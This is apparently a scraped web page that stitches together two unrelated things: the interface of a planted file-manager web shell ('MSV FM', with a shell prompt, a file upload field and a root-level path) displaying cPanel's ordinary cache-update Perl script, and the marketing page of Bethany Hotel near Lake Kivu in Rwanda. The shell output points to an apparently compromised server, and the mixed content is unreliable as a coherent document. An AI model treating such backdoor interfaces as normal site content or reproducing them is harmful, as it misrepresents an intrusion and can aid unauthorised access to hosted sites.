MSV FM

[email protected]: ~ $
Path : /proc/self/root/scripts/
File Upload :
Current < : //proc/self/root/scripts/updateuserdatacache

#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/updateuserdatacache             Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# [email protected]                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

# ignore our parent if it dies as this could result in
# a blank userdatadomains files
$SIG{'HUP'} = 'IGNORE';
$SIG{'INT'} = 'IGNORE';

use strict;
use warnings;

use Getopt::Long                          ();
use Digest::MD5                           ();    #speed up loading config
use Cpanel::Config::userdata::UpdateCache ();
use Cpanel::Logger                        ();

my $logger = Cpanel::Logger->new();

if ( $> != 0 ) {
    $logger->die("This program can only be run as root");
}

my ( $collect, $force, $help );
if (
    !Getopt::Long::GetOptions(
        "collect!" => \$collect,
        "force!"   => \$force,
        "help!"    => \$help
    )
) {
    print_usage();
    $logger->die("Invalid command line options");
}

if ($help) {
    print_usage();
    exit();
}

my @users = @ARGV;
my $args  = { 'force' => $force, 'collect' => $collect };

if (@users) {
    eval { Cpanel::Config::userdata::UpdateCache::update( @users, $args ) };
}
else {
    eval { Cpanel::Config::userdata::UpdateCache::update_all_users($args) };
}
if ($@) {
    $logger->warn("An error occurred in building the userdata cache: $@");
}

exit();

sub print_usage {
    print <<"USAGE";

$0 [ options ] [ usernames ... ]

    Generates the userdata cache file for the specified users (or *all* users
    if none are specified) in /var/cpanel/userdata/USERNAME/cache, if any
    changes have been made for that user since the last time the cache file was
    generated; and if any user caches were udpated, concatenate all the users'
    cache files into one central file, /etc/userdatadomains.

    Options:

        --force     Force the regeneration of the specified user cache file(s)
                    (or all user cache files, if run without arguments), even
                    if nothing has changed since the last time the cache was
                    generated

        --collect   Force the concatenation of individual users' cache files
                    into the central cache, even if nothing has changed; if
                    run without arguments, *only* the concatenation will be
                    performed (such as when deleting an account).

USAGE
}
Bethany
Bethany
0%

THE FINEST HOTEL NEAR LAKE KIVU

The Perfect Base For You

Required fields are followed by *





EC1A68011

About Us

Delicious Interior With The Pinch Of Everything

Bethany Investment group is Presbyterian church in Rwanda(EPR) company that manage Hotel and Guest house in Karongi (Bethany Hotel), ISANO branch in GIKONDO(Kigali), Kiyovu branch(Kigali), AMIZERO branch(Nyagatare-East) and Gisenyi Branch(Rubavu).

Accomodation

Get a Comfortable Room
Feel The Comfort

Get a comfortable room and feel our hotel’s comfort. Bethany Hotel features a variety of fully furnished rooms with extra space, Executive rooms, Deluxe rooms with a beautiful lake view and garden space, Deluxe rooms, comfort rooms, family rooms and standard rooms at your service.

Standard Single

Services

We Provide Top Class Facility
Especially For You

Beach BBQ Party

Kick back on the beach& and enjoy our berbecue from our masterchef

Breakfast

Kick back at our hotels& enjoy our breakfast from our masterchef

Conference Hall

Kick back at our hotels& enjoy our conference halls from all bethany branches

Enjoy with your partner

Honeymoon Package

80%

Get In Touch

Don’t Miss Any Update

    +

    Search your Room

    Required fields are followed by *